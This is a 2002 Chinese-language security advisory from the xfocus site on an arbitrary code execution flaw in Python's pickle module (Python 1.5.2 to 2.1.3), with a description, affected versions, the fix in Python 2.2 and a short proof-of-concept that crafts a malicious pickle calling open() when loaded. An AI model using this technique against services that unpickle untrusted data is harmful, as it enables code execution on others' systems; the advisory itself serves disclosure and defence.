xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Python Pickle类构造器存在任意代码可执行漏洞


发布时间:2002-07-22
更新时间:2002-07-22
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:5257

受影响系统
Python Software Foundation Python 1.5.2
Python Software Foundation Python 1.6
Python Software Foundation Python 1.6.1
Python Software Foundation Python 2.0
Python Software Foundation Python 2.0.1
Python Software Foundation Python 2.1
Python Software Foundation Python 2.1.1
Python Software Foundation Python 2.1.2
Python Software Foundation Python 2.1.3
详细描述
Python是开放源代码,面向对象编程语言,Python Pickle模块提供转换对象变量到连续的表单("pickling"),并且后来恢复数据到对象层次中。

Pickle实现存在漏洞,如果构造的恶意对象数据是"unpickled",可导致任意Python命令被执行,包括系统调用,这可通过指定任意函数作为类构造器完成。

这个漏洞比较依靠特定的python应用程序从不信任的来源中接收pickle字符串。

测试代码
import pickle, new

def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {
'__getinitargs__': lambda self, arg = args: arg,
'__module__': module
}) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "/tmp/pickle-bug", "w")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception. But the damage is
# done...
pickle.loads(t)

解决方案
在Python 2.2通过使用' __safe_for_unpickling__'类属性修正了此漏洞。

相关信息
Jeff Epler <jepler@unpythonic.net>.
参考:http://online.securityfocus.com/archive/1/282775
相关主页:http://www.python.org/